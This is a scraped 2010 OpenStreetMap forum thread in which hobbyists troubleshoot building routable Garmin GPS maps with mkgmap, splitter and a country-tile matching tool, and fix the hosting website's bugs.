./matchit iinputfilename outputfilenameThe inputfilename is assumed to be a file like world.kml
If there is 'xml' (lowercase) somewhere in in the outputfilename it will create the xml format. Else the json format.Sounds good to me.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 28.01.2010 11:41 · [flux]
Lowercase countries directory.
If (in a GUI) a file world.kml is dropped on matchit or (in a console window) is typed:
./matchit world.km
two files are created in the same directory as world.kml
world.kml.matched.xml
world.kml.matched.jsonif you type
./matchit inputfilename outputfilenam
only one.l (If there is 'xml' (lowercase) somewhere in in the outputfilename it will create the xml format. Else the json format.)matchit sent
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.01.2010 13:45 · [flux]
Thank you, I'll start testing it and adapt the website to accept the country definitions.
Edit:
I've started working on the website. One of the changes is a new method of loading the tile definition KML file which dramatically reduces the loading time (13 seconds for the current version vs 1-2 seconds for the new dev version). I do seem to run into a bug in OpenLayers where the style of vector feature is lost on zooming (so you can't see which tiles you've selected once you zoom in or out). I hope to be able to work around this.Greencaps, I do have another feature request for matchit: Can the country polys be placed in subdirectories who's name is also used in the resulting XML (You can drop JSON support, I don't think I'll be using it)?
e.g. countries/Europe/Netherlands.poly
translates into:
<?xml version="1.0" encoding="UTF-8"?>
<countries lang="en">
<continent name="Europe">
<country name="Netherlands">
<tile name="" nr="63455666"/>
<tile name="" nr="63455667"/>
</country>
</continent>
</countries>(the tile name tag could be filled in some other day (each tile has a name according to the biggest city it contains)
As I envision it now, each continent will translate into a pulldown selection box in the website (so there will be about 6 pulldown selection next to each other above the map). This should allow users to quickly select their country.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 31.01.2010 12:43 · [flux]
With the tiles from 27-01-2010 there are no streetnames available at the Garmin Etrex Vista HCx, only the first letter and then ........
The search for addresses doesn't work any more, because of the missing streetnames.
No problems with the tiles from 20-01-2010.
Just to inform you,
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 31.01.2010 14:08 · [flux]
Indeed. I inspected Irkoetsk. All streetnames are lowercase. (I mean not forced to uppercase). The KML file loads quick indeed.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.01.2010 14:32 · [flux]
flux wrote:
With the tiles from 27-01-2010 there are no streetnames available at the Garmin Etrex Vista HCx, only the first letter and then ........
The search for addresses doesn't work any more, because of the missing streetnames.
No problems with the tiles from 20-01-2010.
Just to inform you,
flux.
Thanks for letting me know, I've gone back to the previous release of the 20th. I have updated Mkgmap for the latest release which probably contains a bug or I need to reconfigure).
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 31.01.2010 16:06 · [flux]
I use mkgmap-r1537 without problems for a german map. Streetnames are shown proberly.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.01.2010 17:29 · [flux]
flux wrote:
I use mkgmap-r1537 without problems for a german map. Streetnames are shown proberly.
flux.
What happens if you add --latin1 as a parameter for Mkgmap?
BTW, I've committed a new version of the website which reenables the country selection again. This time the country selection is dynamically configured so that it works with each new map release. Thanks to Greencaps for providing the matchit application. I'll expect to add more countries in the coming days
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 31.01.2010 17:34 · [flux]
I use
java␣-Xmx2600M␣-jar␣../mkgmap-r1537/mkgmap.jar␣--family-name="EU-S"␣--area-name="EU-S"␣--max-jobs=2␣--latin1␣--description="EU-S"␣--country-name="EU-S"␣--country-abbr="EU-S"␣--route␣--gmapsupp␣--draw-priority=10␣--add-pois-to-areas␣--make-all-cycleways␣--link-pois-to-ways␣--remove-short-arcs␣--net␣--check-roundabouts␣--check-roundabout-flares␣--max-flare-length-ratio=5␣--series-name="EU-S"␣--adjust-turn-headings␣--code-page=1252␣--location-autofill=1␣--road-name-pois␣632400*
Streetnames are shown proberly.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 31.01.2010 17:56 · [flux]
Thanks, I assume this was a one off update then. I'll upgrade to the latest Mkgmap Thursday (when the next update is started).
Edit: The server disk was full again. I've cleared the failed renderings, so some of you might get a 404 error when trying to open the link in the email.... This time I've also changed the combine script so that it backs-off if the disk is too full. This will result in delayed renderings instead of failed renderings. I hope y'all don't mind sometimes to wait a bit longer until the disk has some space again....
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 31.01.2010 18:44 · [flux]
Lambertus wrote:
I'll expect to add more countries in the coming days
Have a look at your alaska polygon. Is it ok? Selecting alaska brings unsuspected tiles. Please send me the polygon if necessary.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 01.02.2010 10:53 · [flux]
Re: the problem with street labels. I think this was fixed with mkgmap r1534
http://www.mkgmap.org.uk/pipermail/mkgm … 06895.html - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 11:54 · [flux]
csdf wrote:
Re: the problem with street labels. I think this was fixed with mkgmap r1534
http://www.mkgmap.org.uk/pipermail/mkgm … 06895.htmlThanks, I'll upgrade Mkgmap on the next update.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 01.02.2010 13:08 · [flux]
Hello all, I am new user so forgive me if I am asking simple things.
I have problem - every map i compile is not searchable - i get message "please enter state" and then "none found"
Why is that and how can it be fixed? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 13:58 · [flux]
miszczu1983 wrote:
Hello all, I am new user so forgive me if I am asking simple things.
I have problem - every map i compile is not searchable - i get message "please enter state" and then "none found"
Why is that and how can it be fixed? - Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 01.02.2010 14:30 · [flux]
I do not exactly understand.
I compile maps and copy gmapsupp.img to my garmin.
When I choose " find address" I have first question "enter state".
Whtever i put it says no matches.
it does not ask me about country at all, so I do not have option to input any number.Maybe I am compiling maps wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 14:51 · [flux]
miszczu1983 wrote:
I do not exactly understand.
I compile maps and copy gmapsupp.img to my garmin.
When I choose " find address" I have first question "enter state".
Whtever i put it says no matches.
it does not ask me about country at all, so I do not have option to input any number.Maybe I am compiling maps wrong?
Do you use Mkgmap or my website for compiling your maps?
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 01.02.2010 15:19 · [flux]
Lambertus wrote:
Do you use Mkgmap or my website for compiling your maps?
I am using website
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 15:50 · [flux]
miszczu1983 wrote:
Lambertus wrote:
Do you use Mkgmap or my website for compiling your maps?
I am using website
Ok, well I've worked through the Mkgmap mailinglist and this appears to be a problem specific to Nüvi owners (maybe Dakota and Oregon as well). It is a Mkgmap problem and will be sorted one day... they are working on it.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 01.02.2010 15:53 · [flux]
Lambertus wrote:
Ok, well I've worked through the Mkgmap mailinglist and this appears to be a problem specific to Nüvi owners (maybe Dakota and Oregon as well). It is a Mkgmap problem and will be sorted one day... they are working on it.
I am having this problem on ZUMO.
It also appears on Garmin Mobile PC (desktop and handheld device).Countries are also not recognized in Mapsource.
Is this normal? - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 01.02.2010 16:06 · [flux]
On my Oregon 300 I solve it in this way:
- search for towns
- if you find your town, choose it and press at the next screen the displaybutton with the three circles (it is placed where the abc button is shown while you are searching for towns)
- then search for pois (I use --road-name-pois for my maps to have the streetnames listed in "all pois") and choose your streetnameIn this way I find all adresses available in the used map.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 16:22 · [flux]
miszczu1983 wrote:
Countries are also not recognized in Mapsource.
Is this normal?I've just downloaded The Netherlands from the website and installed it in MapSource. When I type just 'N' (in Find Places -> City -> Country) I already get a list of countries to choose from with Nederland as first choice. The same goes with 'U' which lists United Kingdom first. So that appears to work rather well.
City option: Typing 'Apel' gives the city Apeldoorn as first item.
State/Province option: Typing 'Antw' gives the city Antwerpen as first item.
If I enter in Find Places -> Address:
Number: 1
Street: Kayersdijk
City: Apeldoornand then click search then the correct street is found. But if I enter the country name as well then the street could not be found...
So your mileage may vary depending on the things you enter.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 01.02.2010 16:41 · [flux]
Lambertus, the Garmins are quite different.
Your method is working fine with the Extrex Vista HCx, but NOT with the Oregon 300. The Oregon 300 shows me a command to enter the country or province for the searched town and NO entry can satisfy this question, ALWAYS you will get the answer "NO RESULT".
With the Oregon 300 I NEVER can use the address search, I have to search for a town and then nearby this town for pois (where I have listed all my streets with mkgmap option --road-name-pois).
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 17:08 · [flux]
Flux, the test in my previous post was conducted in MapSource, not on a GPS.
Regarding road-name-pois: do the roadnames show up as a general poi or in the address search? And can you combine city and road name to find the correct roadname, or does it just find the closest road with that name?
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 01.02.2010 17:28 · [flux]
flux wrote:
On my Oregon 300 I solve it in this way:
- search for towns
- if you find your town, choose it and press at the next screen the displaybutton with the three circles (it is placed where the abc button is shown while you are searching for towns)
- then search for pois (I use --road-name-pois for my maps to have the streetnames listed in "all pois") and choose your streetnameIn this way I find all adresses available in the used map.
flux.
Thanks for the idea - it works, I can find cities.
i do not have button with circles - by hitting that do You mean setting GPS position to previously found city?
However I cannot find the streets using pois - if I search for pois I have to choose category.
In none of them i don't find the streets.flux wrote:
With the Oregon 300 I NEVER can use the address search, I have to search for a town and then nearby this town for pois (where I have listed all my streets with mkgmap option --road-name-pois).
flux.
Ok now I understand, You just added the streets as POIS.
Can You explain how to do that - do I have to download mkgmap and edit my .img file with it?Sorry but I am complete noob.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 01.02.2010 17:54 · [flux]
Lambertus wrote:
Flux, the test in my previous post was conducted in MapSource, not on a GPS.
Regarding road-name-pois: do the roadnames show up as a general poi or in the address search? And can you combine city and road name to find the correct roadname, or does it just find the closest road with that name?
Oh, sorry, I should have read your post more carefully ... and I never used MapSource, I have no Windows here.
--road-name-pois will show all streetnames as pois, listed in "All POI" (I hope this is the exact english expression at the Garmin GPS units). I can search for every city, once found and clicked I choose "Find near here" and search in "All POI" for streetnames (at the Etrex Vista HCx). At the Oregon 300 the way is similar, the menue at the touchscreen is a little different and all streetnames will have the city as second item, e. g. Hauptstraße, Regensburg. With this solution I can find all addresses available in the loaded map, nearby my position or 900 km away ...
miszczu1983 wrote:
Thanks for the idea - it works, I can find cities.
i do not have button with circles - by hitting that do You mean setting GPS position to previously found city?
However I cannot find the streets using pois - if I search for pois I have to choose category.
In none of them i don't find the streets.I am not sure, but as I remember the latest maps from Lambertus, I think there are no streetnames as POIS ... I use my own maps for the Oregon 300 and Lambertus' maps for the Vista HCx, because the Vista can search for addresses.
miszczu1983
If you found your city, choose it to reach the next screen and there press the button shown in my screenshot, then you can search near by the choosen city for "all pois" if your map will include streetnames as pois ...
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.02.2010 22:04 · [flux]
flux wrote:
I am not sure, but as I remember the latest maps from Lambertus, I think there are no streetnames as POIS ... I use my own maps for the Oregon 300 and Lambertus' maps for the Vista HCx, because the Vista can search for addresses.
Correct, I don't use that parameter as I think it's a rather big hack... But maybe I should use it so the most people have the 'best' experience.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 01.02.2010 22:13 · [flux]
flux wrote:
miszczu1983
If you found your city, choose it to reach the next screen and there press the button shown in my screenshot, then you can search near by the choosen city for "all pois" if your map will include streetnames as pois ...
I think the mark means "close to".
I can only search by the categories.
The only thing I am missing is to manage search for streets somehow.....
Searching for cities works. - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 01.02.2010 22:21 · [flux]
miszczu1983 wrote:
I think the mark means "close to".
I can only search by the categories.
The only thing I am missing is to manage search for streets somehow.....
Searching for cities works.You can search for streetnames if your map is created with the --road-name-pois option.
If you give me your preferred region (may be only a small district around a town where you live) I can upload you a map with this feature so that you can test it.
Lambertus wrote:
Correct, I don't use that parameter as I think it's a rather big hack... But maybe I should use it so the most people have the 'best' experience.
This would be great, I know some people who would like to use your maps with the Oregon 300!
flux.
Admin edit: Flux, please add a second post to the first if there is little time between them
OK! flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 02.02.2010 10:21 · [flux]
flux wrote:
You can search for streetnames if your map is created with the --road-name-pois option.
If you give me your preferred region (may be only a small district around a town where you live) I can upload you a map with this feature so that you can test it.
That would be very nice of You.
I live in Poland, You can send me a small piece of poland modified
by You i.e. on my e-mail address miszczu1983@o2.pl.However, I would preffer if You could explain me how to do it by myslesf, because what I want is the combined routable map of many asia and middle east countries since I am going there on motorbike.
BTW, Lambertus, You are doing a hell of good job here !
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 02.02.2010 10:49 · [flux]
miszczu1983 wrote:
That would be very nice of You.
I live in Poland, You can send me a small piece of poland modified
by You i.e. on my e-mail address miszczu1983@o2.pl.The howto via mail ... I can give you some links.
Here a download of a gmapsupp.img (Poland complete, datas from OSM, 02-02-2010, the map is 55 MB). I used --road-name-pois, so that you should find the streetnames via "All POI" or "Geographic Points". I also used the default style because the Oregon is faster without custom style-files.
http://mirror.live-modules.org/quax/flu … apsupp.img
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 02.02.2010 11:10 · [flux]
flux wrote:
this is working as described.
Awesome.
Can You give me brief support how to do that with my map? - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 02.02.2010 11:26 · [flux]
http://www.cferrero.net/maps/maps_index.html
I think here you will find all answers to your questions. No need to repeat things which are written in an excellent howto ...
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.02.2010 13:04 · [flux]
flux wrote:
http://www.cferrero.net/maps/maps_index.html
I think here you will find all answers to your questions. No need to repeat things which are written in an excellent howto ...
flux.
That's an awesome page. Thanks for the link!
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 02.02.2010 13:05 · [flux]
flux wrote:
http://www.cferrero.net/maps/maps_index.html
I think here you will find all answers to your questions. No need to repeat things which are written in an excellent howto ...
flux.Thank You for that load,
altough there is one question - to make my gmapsupp.img with the parameter, I have to download .osm files first.
How to dawnload OSM files instead of .img files from Lambertus site? - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 02.02.2010 13:17 · [flux]
miszczu1983 wrote:
How to dawnload OSM files?
You can read that in Step 1 of http://www.cferrero.net/maps/maps_index.html too.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 02.02.2010 13:26 · [flux]
greencaps wrote:
You can read that in Step 1 of http://www.cferrero.net/maps/maps_index.html too.
This is right, but I need to combine maps from many countries accross 3 continents.
Geofabric allows either to choose from predefined countries where the ones which I am looking for are not included, either download whole continents (a lot of stuff for my bandwitch).Or is there maybe a way to re-compile the img file with that parameter?
My .img file is already ready. - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 02.02.2010 13:42 · [flux]
Did you try: http://downloads.cloudmade.com/ or other suppliers of .osm data?
Hacking the img file is not doable I think.
...compile...
http://www.mkgmap.org.uk/page/main
The mkgmap program takes OpenStreetMap data and generates a map in the Garmin .img file format so that it can be loaded onto compatible GPS units. - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 02.02.2010 13:52 · [flux]
I do not know about a possibility to recompile a .img file. You can split a .img file and add another typfile, but that is all.
I take e. g. the europe.osm.bz2 and cut my preferred region(s) with osmosis and then create my map(s). You can merge different gmapsupp.img(s) to one gmapsupp.img or with the Oregon 300 you can have different gmapsupp.img(s) at your SDHC. Just make sure that there is no gmapsupp.img in the internal storage! My gmapsupp.img(s) at the SDHC are named gmapsupp.img, gmapsupp1.img, gmapsupp2.img and so on.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 02.02.2010 14:05 · [flux]
flux wrote:
... You can split a .img file and add another typfile, but that is all.
But thats what miszczu1983 is asking for I think. Which program do you use for that? And what is the result of adding a typfile? That program cannot export it?
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 02.02.2010 14:12 · [flux]
greencaps wrote:
But thats what miszczu1983 is asking for I think. Which program do you use for that? And what is the result of adding a typfile? That program cannot export it?
Splitting a gmapsupp.img means to have the tiles back (e. g. 63240001, 63240002 ...) and the .mps. If I want to change the look of the map on my Garmin Unit I can add different typefiles (I have searched for different typfiles around the web).
To split a foreign gmapsupp.img I am using gmt (GMapTool, the binary for linux). For my own gmapsupp.img I can use my tiles and different typfiles.
As far as I experienced it is not possible to add the road-names as pois in this way, because the road-names are included in the tiles (.img files)!
And this was the question I think ...
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 02.02.2010 14:20 · [flux]
flux wrote:
...If I want to change the look of the map on my Garmin Unit I can add different typefiles
Do I understand correctly that you invoke mkgmap again on some selected tyles to generate one gmapsupp.img and that the result depends on a used style file?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.02.2010 14:27 · [flux]
greencaps wrote:
flux wrote:
...If I want to change the look of the map on my Garmin Unit I can add different typefiles
Do I understand correctly that you invoke mkgmap again on some selected tyles to generate one gmapsupp.img and that the result depends on a used style file?
The first part is correct, it is what my website is doing all the time. The second part (of adding a typ file); I'm not sure about that. I've never used typ files before, but I assume that it would work this way.
So what you can do is download a bunch of tiles from my site and recombine them using Mkgmap or another tool (perhaps MapSetToolkit) while adding a typ file. But that won't give you the road POI's, for that you will need to download the OSM data and render your map yourself (or wait until next weekend when I'll release the next update).
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 02.02.2010 14:32 · [flux]
Here two screenshots (Garmin Etrex Vista HCx, Night), based on the same gmapsupp.img (I only added a typfile with a special family-id to receive the look of the second screenshot):
Original look (without typfile)
Customized look (with typfile from user:Christoph, AIO-Map)
The map with the typfile is looking different, but the map is much slower at the Vista HCx and it is to customized at the Oregon 300.
Therefore I do NOT use any typfile in my own maps.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 02.02.2010 14:45 · [flux]
flux wrote:
... based on the same gmapsupp.img (I only added a typfile .....
Sorry... I still do not understand completerly the process.
-- do you add the typefile to some directory in your garmin device? So indeed use the same gmapsupp.img
-- do you generate a new gmapsupp.img (using mkgmap with that typefile)?Which of the two?
By the way: How do you manage to make such clear pictures of the garmin screen?
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 02.02.2010 14:54 · [flux]
At first I have to say, that I use linux for my work, the only exception is the Garmin program xImage for the screenshots (--> http://www8.garmin.com/support/agree.jsp?id=545), because there is no equivalent for linux.
1. I have a gmapsupp.img.
2. If it is a foreign one, I use gmt (--> http://www.anpo.republika.pl/download.html) to split the gmapsupp.img to its tiles.
3. If it is my own, I have the tiles before I merge the tiles to a gmapsupp.img.
4. Then I add a typfile with the corresponding and needed family-id to the tiles and merge a gmapsupp.img:
java␣-jar␣mkgmap-version.jar␣--gmapsupp␣--family-id=4␣--family-name=MYMAP␣*.img␣MYTYPEFILE.TYP
--family-id=4 is depending on the typfile, you have to find the correct id for the used typfile, normally the creator of the typfile can give you the id or you can find it in the web
-
.img are my tiles (63240001.img and so on) I want to merge to a gmapsupp.img
MYTYPEFILE.TYP is the used typfile, the .TYP must be in upper letters! In the second screenshot you see the typfile of Christoph (AIO-Map) and the needed family-id=4 ...
5. I have a new gmapsupp.img with a customized look!
flux.
Edit: You can open the typfile (stylefile) in the online editor and there you can see the needed family-id --> http://ati.land.cz/gps/typdecomp/editor.cgi
Here a screenshot:
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.img are my tiles (63240001.img and so on) I want to merge to a gmapsupp.img
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 02.02.2010 15:20 · [flux]
Thank you flux for all explications. I understand now. Thank you too for xImage. It works out of the box. Just grabbing a screenshot by connecting a USB cable. Great.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.02.2010 17:43 · [flux]
Hahaha, I thought that I massively improved the loading time of the tile definitions because I rewrote the OpenLayers section in the webpage scripts that loads the KML file with the tile definitions....
Well think again, it turns out that disabling gzip output in the server side script did the trick all by itself. The strange thing is: the AJAX call is downloading the data immediately and the processing of the zipped data also seems to be immediate (according to a spike in CPU and bandwidth usage), however the result is only shown about 12-13 seconds later... mystery.
Compression is handled by adding the following two lines to the server side PHP scripts:
ob_start("ob_gzhandler"); [my␣functional␣code] ob_flush();
I'll see if there are other, better, ways of doing compression...
Edit1: When I let the compression be handled by the webserver (controlled through .htaccess) then it works fast as expected. Investigating further....
Edit2: This seems like a browser issue. FF 3.5.5, 3.5.7, 3.6 and IE 8 are slow in displaying the tiles from a zipped source, but webkit is very fast. Thanks to crschmidt for the pointer.
Edit3: Problem solved, the error originated from this side of the monitor ofcourse: The PHP script that returns the gzipped KML content also returned the content-length header set to the size of the source KML file instead of the gzipped size... So as a result the browser is expecting more data and is waiting for it until a timeout occurs. Duh.
Well, the KML output script is fixed now and facilitates browsers that support compressed content as well as those browsers that do not.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 09:03 · [flux]
i am trying to follow flux instructions.
here is what I did:downloaded mkgmap.
Placed tiles (smal .img files) in mkgmap folder.
When I enter any command in command prompt, i have error : invalid or corrupr jarfile 6324004.img
(which is first tile).
If I remove this file, the error repeats on next tile.What am I doing wrong? Do I have to use .osm files instead of .img files?
The splitter returns me same error for .gz2 files. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2010 09:19 · [flux]
Try this if you have some OSM files from splitter (or extracts from Cloudmade or Geofabrik):
java␣-Xmx1024M␣-ea␣-jar␣mkgmap.jar␣--overview-mapname=63240000␣--road-name-pois␣--series-name='My␣first␣routable␣map'␣--latin1␣--description='My␣first␣routable␣map'␣--gmapsupp␣--route␣--product-id=53␣--tdbfile␣--gmapsupp␣*.osm
Or this if you have some images lying around:
java␣-Xmx1024M␣-ea␣-jar␣mkgmap.jar␣--overview-mapname=63240000␣--road-name-pois␣--series-name='My␣first␣routable␣map'␣--latin1␣--description='My␣first␣routable␣map'␣--gmapsupp␣␣--product-id=53␣--tdbfile␣--gmapsupp␣*.img
And this is also helpful:
java␣-jar␣mkgmap.jar␣--help=options
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 09:32 · [flux]
Lambertus wrote:
Or this if you have some images lying around:
java␣-Xmx1024M␣-ea␣-jar␣mkgmap.jar␣--overview-mapname=63240000␣--series-name='My␣first␣routable␣map'␣--latin1␣--description='My␣first␣routable␣map'␣--gmapsupp␣␣--product-id=53␣--tdbfile␣--gmapsupp␣*.img
I deleted the sections --series and --descriptions.
Then gmapsupp.img is created from tiles.
But streets are still not visible as pois.
I added --road-name-pois between 63240000 and --latin. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2010 11:04 · [flux]
I've updated my post, thanks. The parameter order doesn't matter for Mkgmap.
Update:
A new version of the website is up.New feature: If a country map is already available on the server then a direct download link is provided. For all other situations the process of filling out the email form and wait for the server to create the map for you is still the same.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 11:05 · [flux]
You are missing the first step: Download a countryname.osm.bz2 from Cloudemade --> http://downloads.cloudmade.com/ or Geofabrik --> http://download.geofabrik.de/osm/ and run
java␣-Xmx2600M␣-jar␣../splitter-r105/splitter.jar␣--status-freq=30␣--cache=.␣--max-nodes=800000␣countryname.osm.bz2
Replace the path to splitter.jar and insert your version.
I use 2600M for 3 GB RAM, de- or increase this value according to your RAM
You can increase 800000 to 1000000 or 1200000This will split your countryname.osm.bz2 to single tails which you can use with mkgmap
java␣-Xmx2600M␣-jar␣../mkgmap-r1543/mkgmap.jar␣--family-name=DE␣--area-name=DE␣--max-jobs=2␣--latin1␣--description=DE␣--country-name=DE␣--country-abbr=DE␣--route␣--gmapsupp␣--draw-priority=1␣--add-pois-to-areas␣--make-all-cycleways␣--link-pois-to-ways␣--remove-short-arcs␣--net␣--check-roundabouts␣--check-roundabout-flares␣--max-flare-length-ratio=5␣--series-name=DE␣--adjust-turn-headings␣--code-page=1252␣--location-autofill=1␣--road-name-pois␣6324*
Replace the path to mkgmap.jar and insert your version.
The created gmapsupp.img has streetnames as pois.
Just a short instruction, my way to create a useable map for Garmin units.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 03.02.2010 11:14 · [flux]
Always enjoy the service, thanks.
But is there a disk problem again? The maps are coming up empty.
<http://planetosm.oxilion.nl/~lambertus/ … d5b0d9793f>I was hoping to pick up some maps for a trip tomorrow.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2010 11:33 · [flux]
alimamo wrote:
Always enjoy the service, thanks.
But is there a disk problem again? The maps are coming up empty.
<http://planetosm.oxilion.nl/~lambertus/ … d5b0d9793f>I was hoping to pick up some maps for a trip tomorrow.
Thanks
Nope, no disk problems. I think I've got that sorted permanently now. But I see there is a new bug somewhere: the directory from which the map tiles are copied is not correct anymore...
Edit 1: I guess you saw this error in the confirmation webpage?
Notice: Undefined variable: version in /home/lambertus/public_html/garmin/routable/request-combine.php on line 108
Edit 2: Ok, the problem is fixed. It was a silly copy/paste error. Everyone who has requested a map since yesterday evening CET has been effected unfortunately. I'm removing all erroneous maps. Please request your map again. Sorry for the inconvenience.
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 03.02.2010 11:40 · [flux]
Yep, that is the error I saw. I wasn't sure if it was critical or not.
Guess it was.
I'll try again later.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 14:42 · [flux]
flux wrote:
.........................
Just a short instruction, my way to create a useable map for Garmin units.
flux.
Thanks. I did some try on kazakhstan - I have questions marks everywhere.
When I download .img directly from labertus it is OK.
What may be the reason?
Is the paremaeter --latin1 responsible for that? - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 14:44 · [flux]
I created a map of Ukraine with the options --latin 1 and --lowercase=yes, the streetnames and cities are shown proberly.
flux.
Edit: The names and streets for Ukraine are shown proberly even I do not use --latin or --lowercase ...
Edit2: I found the osm-datas from Kasakhstan and it is working with --latin 1 and --lowercase=yes, I have cities and streetnames.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2010 14:58 · [flux]
miszczu1983 wrote:
Thanks. I did some try on kazakhstan - I have questions marks everywhere.
When I download .img directly from labertus it is OK.
What may be the reason?
Is the paremaeter --latin1 responsible for that?Afaik Mkgmap has limited transliteration capabilities and characters that do not fit into the selected code table will be converted into questionmarks (? characters). Afaik the best support is in the ASCII mode, so you should try without the --latin1 parameter.
My maps are OK because greencaps made a special preprocessor that transliterated names before Mkgmap processes the OSM data.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 15:27 · [flux]
Lambertus wrote:
Afaik the best support is in the ASCII mode, so you should try without the --latin1 parameter.
I tried without --latin1.
result is the same - question marks.
There seems to be no way to make serchable map - if I add streets as pois they are not displayed correctly.Too bad.
I think I wont make it.
But thank all You guys for huge support here I really admire Your job. - Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 15:36 · [flux]
You can try these two maps of Kasakhstan ...
http://mirror.live-modules.org/quax/flu … ercase.img --> with --latin 1 and --lowercase=yes (no problems with my Vista HCx, I cannot try my Oregon 300 at the moment)
http://mirror.live-modules.org/quax/flu … -latin.img --> without --latin 1 and without --lowercase=yes
The shown mapname in the GPS unit is not adjusted, it is DE for Germany, but this should not matter.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 16:01 · [flux]
flux wrote:
You can try these two maps of Kasakhstan ...
http://mirror.live-modules.org/quax/flu … ercase.img --> with --latin 1 and --lowercase=yes (no problems with my Vista HCx, I cannot try my Oregon 300 at the moment)
http://mirror.live-modules.org/quax/flu … -latin.img --> without --latin 1 and without --lowercase=yes
The shown mapname in the GPS unit is not adjusted, it is DE for Germany, but this should not matter.
flux.Both work for me !
Altough, no matter how I compile I have question marks....
Was Your source cloudmade?Would it be possible for You to take morocco, syria, jordan, russia, turkey and kazakhstan,
compile them adding streets as poi and merge into one gmapsupp ?I do not have idea what I am doing wrong.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 16:18 · [flux]
I can do it for you, but I must know, if the countries must be routable over the borders or only routable within the single countries!?
And yes, my source was from cloudemade.
flux.
- Re: Worldwide routable Garmin maps: URL REMOVED · miszczu1983 (Gast) · 03.02.2010 16:23 · [flux]
flux wrote:
I can do it for you, but I must know, if the countries must be routable over the borders or only routable within the single countries!?
And yes, my source was from cloudemade.
flux.
Over the boarders if it is no problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · flux (Gast) · 03.02.2010 16:32 · [flux]
I think it is problematic. To make maps routable over the borders I have to cut the whole area out of the worldfile ... especially for Russia, Turkey and Kasakhstan. I have not the CPU power to handle it. Europe is no problem, but there are great parts of Asia ...
I can offer you a gmapsupp.img with all mentioned countries (routable within the single country, streetnames as pois), different family-ids, so that you can switch on and off single countries.
flux.
